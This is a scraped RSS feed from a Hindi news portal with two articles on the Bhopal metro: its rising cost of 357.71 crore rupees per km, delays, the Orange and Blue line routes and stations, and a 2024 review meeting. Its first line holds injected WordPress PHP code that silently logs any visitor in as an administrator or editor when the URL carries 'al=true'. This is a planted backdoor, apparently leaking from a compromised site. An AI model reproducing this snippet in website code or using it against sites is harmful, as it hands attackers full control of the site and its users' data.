// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); bhopal metro train – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 31 Jul 2025 04:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 देरी पड़ी भारी: भोपाल मेट्रो का खर्च बढ़कर 357.71 करोड़ प्रति किमी पहुंचा https://pratyushaashakinayikiran.com/?p=174455 Thu, 31 Jul 2025 04:36:00 +0000 https://pratyushaashakinayikiran.com/?p=174455  भोपाल

लेटलतीफी के कारण भोपाल मेट्रो ट्रेन प्रोजेक्ट का बजट बढ़‌कर 357.71 करोड़ रुपए प्रति किमी हो गया है। ये 127 करोड़ रुपए प्रति किमी की दर से बढ़ा है। अभी जिस 30 किमी की प्रस्तावित लाइन का बजट 6941 करोड़ रुपए बताया जा रहा है, वह अब 10731 करोड़ रुपए हो गया है। यानी 2019 में जो लागत 231 करोड़ रुपए प्रति किमी थी, वह अब बढकर 357 करोड़ रुपए हो गई है। इस तरह प्रति किमी 126.71 करोड़ रुपए लागत बढ़ी है। 

शुरुआती दो लाइन अब 2030 तक बनेंगी

अब मेट्रो की शुरुआती दो लाइन को बनाने की समय सीमा 2027 से बढ़ाकर 2030 कर दी गयी है। ऐसे में बजट बढ़ेगा। मेट्रो रेल कारपोरेशन के खुद के आंकड़े इस तथ्य को जाहिर कर रहे हैं। सीएम को मेट्रो प्रबंधन ने बताया था कि 6.22 किमी लंबे प्रायोरिटी कॉरीडोर पर 2225 करोड़ खर्च हुए हैं। इस हिसाब से यह प्रति किमी से 357 करोड़ रुपए बनते हैं। मेट्रो रेल कॉर्पोरेशन एमडी एस चैतन्य कृष्णा ने कहा कि प्रोजेक्ट पर मॉनीटरिंग लगातार हो रही है। अभी कुछ देरी हो गई, लेकिन अब काम की गति तेज चल रही है।

भोपाल मेट्रो कब होगी शुरू, ऑरेंज और ब्लू लाइन का क्या रहेगा रूट

भोपाल के जल्द मेट्रो ट्रेन की सौगात मिलने वाली है. प्रधानमंत्री नरेंद्र मोदी मेट्रो का उद्घाटन करेंगे. मुख्यमंत्री डॉ. मोहन यादव ने कहा कि भोपाल मेट्रो का पहला हिस्सा अक्तूबर 2025 से शुरू हो जाएगा. राजधानी में मेट्रो प्रोजेक्ट का काम अब अपने आखिरी फेज में है. 8 स्टेशन तैयार हो चुके हैं. फिलहाल, 7.5 किलोमीटर लंबे कॉरिडोर पर ट्रायल मेट्रो सुभाष नगर से एम्स तक दौड़ रही है. इसके साथ ही अंडर ग्राउंड मेट्रो स्टेशन तैयार करने पर भी काम चल रहा है, जो भोपाल रेलवे स्टेशन से नादरा बस स्टेंड के बीच रहेगी. इंदौर मेट्रो चलने के बाद अब इंतजार है राजधानी भोपाल में मेट्रो चलने का.

भोपाल मेट्रो न सिर्फ शहर की रफ्तार बढ़ाएगी, बल्कि ट्रैफिक और प्रदूषण की समस्या से भी राहत दिलाएगी. आने वाले वक्त में यह मेट्रो भोपाल की पहचान बन सकती है.

मुख्यमंत्री डॉ. मोहन यादव बोले- यात्रियों के लिए रहेगी खास सुविधा

मुख्यमंत्री डॉ. मोहन यादव ने कहा कि मेट्रो लाइन AIIMS से सुभाष नगर तक बनाया जा रहा है. ये इस प्रोजेक्ट का पहला हिस्सा है. इसे बनाने में लगभग 2,225 करोड़ रुपये खर्च होंगे. इस रूट पर लगभग 7.5 किलोमीटर की दूरी तय की जाएगी. इसमें आठ स्टेशन होंगे जो ऊपर की तरफ बने होंगे. मेट्रो में यात्रियों के लिए एस्केलेटर, लिफ्ट और ऑटोमेटिक किराया सिस्टम होगा. दिव्यांगजनों के लिए भी खास इंतजाम किए जाएंगे.

जानें क्या होगा खास

  • अत्याधुनिक तकनीक से लैस ट्रेन
  • यात्रियों की सुरक्षा और सुविधा का खास ख्याल
  • स्मार्ट कार्ड और मोबाइल टिकटिंग की सुविधा
  • हर स्टेशन पर लिफ्ट, एस्केलेटर और दिव्यांगों के लिए रैम्प

जानें ऑरेंज और ब्लू लाइन का क्या रहेगा रूट

भोपाल मेट्रो की ब्लू लाइन भदभदा से रत्नागिरी तिराहा तक जाएगी. ये लाइन 14.16 किलोमीटर लंबी होगी. इसमें सभी 14 स्टेशन ऊपर की तरफ बने होंगे. मेट्रो की ऑरेंज लाइन AIIMS से करोंद तक जाएगी. ये लाइन 16.69 किलोमीटर लंबी होगी. इसमें 16 स्टेशन होंगे. 14 स्टेशन ऊपर बने होंगे और 2 स्टेशन जमीन के नीचे होंगे. 13.3 किलोमीटर का हिस्सा ऊपर की तरफ होगा, जबकि 3.39 किलोमीटर का हिस्सा जमीन के नीचे बनाया जाएगा. दोनों लाइनों को मिलाकर मेट्रो की कुल लंबाई 30.85 किलोमीटर होगी और इसमें 30 स्टेशन होंगे.

6.22 किमी में महज 10 फीसदी ट्रैफिक

एम्स से सुभाष ब्रिज तक कस प्रायोरिटी कॉरिडोर अक्टूबर में शुरु होगा। हालांकि इस पर महज 10 फीसदी ही ऐसा ट्रैफिक है जो पब्लिक ट्रांसपोर्ट का उपयोग करता है। एक रिपोर्ट के अनुसार एम्स से एमपी नगर के बीच रोजाना 6000 निजी वाहनों की आवाजाही है।

मेट्रो निर्माण की यह रफ्तार

  •     26 सितंबर 2019- भूमिपूजन के बाद दिसंबर 2022 तक एम्स से सुभाष ब्रिज का काम पूरा होने का दावा
  •     18 सितंबर 2023- बड़ोदरा से मेट्रो की पहली रैक भोपाल पहुंची
  •     26 सितंबर 2023- सेफ्टी ट्रायल रन
  •     3 अक्टूबर 2025-फायनल ट्रायल रन होगा
  •     27 जुलाई 2025- सीएम ने मेट्रो की सवारी की
  •     अक्टूबर 2025- कमर्शियल रन का दावा

आंकड़ों में समझे मेट्रो

  •     14 एलीवेटेड स्टेशन करोद से एम्स के बीच
  •     02 अंडर ग्राउंड स्टेशन करोद से एम्स के बीच
  •     14 एलीवेटेड स्टेशन भदभदा से रत्नागिरी तिराहा
  •     1.79 किमी अंडरग्राउंड मेट्रो
  •     2.15 लाख यात्री करोंद से एम्स के बीच का अनुमान

यह आंकड़े चिंताजनक

  •     तीन मीटर प्रतिदिन की गति से चल रहा काम
  •     पहली दो लाइन को पूरा करने में लग जाएंगे 27 साल
  •     357.71 करोड़ रु. प्रतिकिमी की दर से बन रही

मेट्रो की ये लाइन प्रस्तावित

    लाइन-1 : बैरागढ़ से अवधपुरीस्टेशनों की संख्या: 24
    लाइन-3 : भौरी बाईपास से बसंत कुंज बस स्टॉपस्टेशनों की संख्या: 24
    लाइन-4 : अशोक गार्डन ऑटो स्टैंड से मदर टेरेसा स्कूल कोलारस्टेशनों की संख्या: 21
    लाइन-6 : हबीबगंज नाका से मंडीदीपस्टेशनों की संख्या: 12

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भोपाल मेट्रो ट्रेन प्रोजेक्ट 2027 में कम्पलीट होगा, सुभाष नगर से करोंद रूट का काम होगा शुरू https://pratyushaashakinayikiran.com/?p=44199 Sat, 22 Jun 2024 17:12:00 +0000 https://pratyushaashakinayikiran.com/?p=44199 भोपाल

भोपाल मेट्रो ट्रेन प्रोजेक्ट के तहत सुभाष नगर से करोंद रूट का निर्माण कार्य शुरू कराया जाएगा। मेट्रो प्रोजेक्ट 2027 तक पूरा होगा। यह फैसला शनिवार को भोपाल और इंदौर मेट्रो ट्रेन के प्रोजेक्ट की रिव्यू मीटिंग में लिया गया। मीटिंग मुख्यमंत्री निवास स्थित समत्व भवन में हुई। मीटिंग में नगरीय प्रशासन एवं आवास मंत्री कैलाश विजयवर्गीय, राज्यमंत्री प्रतिभा बागरी, मेट्रो रेल प्रोजेक्ट भोपाल और इंदौर के अफसर शामिल हुए।

सुभाष नगर से करोंद का कार्य शुरू होगा

बैठक में बताया गया कि भोपाल मेट्रो परियोजना के सुभाष नगर से करोंद का कार्य शुरू होगा। संपूर्ण प्रोजेक्ट साल 2027 तक संपूर्ण परियोजना पूरी होगी। साल 2031 तक साढ़े चार लाख लोग रोजाना मेट्रो में सफर करेंगे।

बैठक में इंदौर मेट्रो पर भी चर्चा हुई। इसके तहत 17 किलोमीटर का कार्य हो रहा है। इंदौर मेट्रो का कार्य 40 प्रतिशत तक पूर्ण हो गया है। भोपाल में 27 और इंदौर में 25 मेट्रो ट्रेनें चलाई जाएंगी। मेट्रो स्टेशन पर महिलाओं, दिव्यांगजनों का विशेष ध्यान रखते हुए यात्रियों को अनेक सुविधाएं मिलेंगी।

इंदौर मेट्रो पर भी हुई चर्चा

सीएम मोहन द्वारा की गई समीक्षा बैठक में इंदौर मेट्रो पर भी चर्चा हुई। इंदौर मेट्रो के तहत 17 किलोमीटर का कार्य हो रहा है, जिसका 40 प्रतिशत कार्य पूरा हो चुका है।

भोपाल में 27 और इंदौर में 25 मेट्रो ट्रेनें चलाई जाएंगी। इसके साथ ही मेट्रो स्टेशन पर महिलाओं और दिव्यांगजनों का विशेष ध्यान रखते हुए यात्रियों को कई सुविधाएं दी जाएंगी।

मेट्रो में हर रोज साढ़े 4 लाख लोग सफर करेंगे

मीटिंग में बताया गया कि सुभाष नगर से करोंद का कार्य प्रारंभ किया जाएगा। संपूर्ण प्रोजेक्ट वर्ष 2027 तक पूर्ण होगा। वर्ष 2031 तक साढ़े चार लाख लोग प्रतिदिन मेट्रो में सफर करेंगे। इंदौर मेट्रो का कार्य 40 प्रतिशत तक पूर्ण हो गया है। भोपाल में 27 और इंदौर में 25 मेट्रो ट्रेनें चलाई जाएंगी। मेट्रो स्टेशन पर महिलाओं, दिव्यांगजनों का विशेष ध्यान रखते हुए यात्रियों को अनेक सुविधाएं मिलेंगी।

नेता प्रतिपक्ष ने पूछा कब चालू होगी मेट्रो

इधर, बैठक से पहले नेता प्रतिपक्ष उमंग सिंघार ने दोनों शहरों में मेट्रो ट्रेन शुरू होने की तारीख पूछी। बयान जारी कर कहा- मुख्यमंत्री ने कई बार मेट्रो की समीक्षा की होगी। इससे पहले शिवराज सिंह ने भी की थी। लेकिन, कब शुरुआत होगी।

कमलनाथ ने इसका शिलान्यास किया था। इतना समय बीतने के बाद भी इंदौर, भोपाल की जनता को मेट्रो की शुरुआत नहीं हुई। मैं मुख्यमंत्री मोहन यादव से कहना चाहता हूं कि आप बैठकें तो कर रहे हैं लेकिन, आप तारीख निश्चित करें कि ये कब चालू होगी। ऐसा ना हो कि आप शिवराज जैसी घोषणाएं करते रहें, और आप भी घोषणावीर हो जाएं।

जानिए, भोपाल मेट्रो के सुभाष नगर-करोंद रूट के बारे में…

8.77Km में से 3.39 Km लंबा रूट अंडरग्राउंड रहेगा

सुभाष नगर से करोंद के बीच 8.77Km लाइन बिछेगी। जिन जगहों पर पिलर खड़े होंगे, वहां मिट्‌टी की टेस्टिंग भी शुरू कर दी गई है। ICAR (भारतीय मृदा विज्ञान संस्थान) के ठीक सामने मेट्रो का पहला पिलर बनेगा। सड़क के इस हिस्से को आसपास से कवर किया गया है। सुभाष नगर से करोंद के बीच 8.77Km में से 3.39 Km लंबा रूट अंडरग्राउंड रहेगा।

मेट्रो की ऑरेंज लाइन, CM कर चुके भूमिपूजन

भोपाल में मेट्रो की ऑरेंज लाइन यानी एम्स से करोंद तक का रूट कुल 14.99 Km लंबा है। इसमें सुभाष नगर से एम्स के बीच 6.22 Km का प्रायोरिटी कॉरिडोर है। 8 में से 5 स्टेशनों के बीच अक्टूबर 2023 में ट्रायल रन हुआ था। रानी कमलापति, सुभाष नगर, केंद्रीय स्कूल, डीबी के सामने और एमपी नगर के स्टेशनों का काम 90% से ज्यादा पूरा हो चुका है।

एम्स, अलकापुरी और डीआरएम ऑफिस स्टेशनों का सिविल वर्क पूरा हो चुका है, जबकि फिनिशिंग से जुड़े काम निपटाए जा रहे हैं। वहीं, डीआरएम ऑफिस चौराहे पर स्टील ब्रिज का निर्माण हो रहा है। रेलवे ट्रैक के ऊपर से भी ब्रिज गुजरेगा। इसके लिए रेलवे से ब्लॉक मांगा गया है। दूसरी ओर, ट्रेन अपने अधिकतम स्पीड में भी दौड़ चुकी है।

अब समझिए, मेट्रो सेकेंड फेज के 2 प्रोजेक्ट

प्रोजेक्ट-1 : 650 करोड़ में 6 स्टेशन बनेंगे
सुभाष नगर डिपो से करोंद तक के रूट में कुल 2 फेज में काम होगा। कुल 8.77 Km में से 5.38 Km हिस्से में 6 एलिवेटेड मेट्रो स्टेशन बनेंगे। इसमें 650 करोड़ रुपए खर्च होंगे। यूआरसी कंस्ट्रक्शन यह काम करेगी। यही कंपनी सुभाष नगर, डीबी मॉल, एमपी नगर, केंद्रीय स्कूल, आरकेएमपी, अलकापुरी, डीआरएम ऑफिस और एम्स स्टेशनों का काम भी कर रही है। मिट्‌टी की टेस्टिंग भी शुरू हो गई है।

कब पूरा करना है: साढ़े 3 साल में काम पूरा करने का टारगेट रहेगा। इसी अवधि में स्टेशन और ट्रैक बिछाया जाएगा।

6 मेट्रो स्टेशन बनेंगे: पुल बोगदा, ऐशबाग, सिंधी कॉलोनी, डीआईजी बंगला, कृषि उपज मंडी, करोंद

प्रोजेक्ट-2: 890 करोड़ रुपए में अंडरग्राउंड रूट बनेगा
8.77 Km के रूट में 3.39 किलोमीटर रूट अंडरग्राउंड होगा। इसमें 2 मेट्रो स्टेशन भोपाल रेलवे स्टेशन व नादरा बस स्टैंड भी रहेंगे। यह काम अलग कंपनी करेगी। इसके लिए मेट्रो कॉर्पोरेशन के एमडी, कलेक्टर और निगम कमिश्नर समेत अफसरों के बीच मीटिंग हो चुकी है।

कब पूरा करना है: काम शुरू होने के बाद साढ़े 3 साल में पूरा करने का टारगेट रहेगा। मेट्रो की दोनों लाइन का यह अकेला अंडरग्राउंड हिस्सा रहेगा।

यहां से अंडरग्राउंड गुजरेगी मेट्रो: सुरंगें सिंधी कॉलोनी, ऐशबाग क्रॉसिंग से होती हुई भोपाल स्टेशन और नादरा बस स्टैंड को स्टेशनों के माध्यम से जोड़ेगी।

रेलवे ट्रैक और मेन रोड पर दो स्टील ब्रिज बन रहे

भोपाल में मेट्रो के लिए 103 मीटर लंबे दो स्टील ब्रिज बनाए जा रहे हैं। डीआरएम ऑफिस में पहले 48 मीटर लंबे ब्रिज का काम पिछले तीन महीने से चल रहा है। 65 मीटर लंबा दूसरा ब्रिज रेलवे ट्रैक के ऊपर से गुजरेगा। इसके लिए रेलवे से अप्रूवल अभी नहीं मिली है। दूसरी ओर, सड़क के ऊपर जो ब्रिज बनना है, उसका स्ट्रक्चर पूरा हो गया है। ये ब्रिज राजस्थान के अलवर में बने हैं। ये दिल्ली मेट्रो जैसे ही डिजाइन किए गए हैं।

भोपाल में अब तक 5 मेट्रो आई

गुजरात के सांवली (बड़ोदरा) से भोपाल में कुल 5 मेट्रो आ चुकी है। इनका 80 किलोमीटर प्रतिघंटे की रफ्तार से स्पीड ट्रायल भी हो चुका है। हर दिन मेट्रो को ट्रैक पर दौड़ाया जा रहा है।

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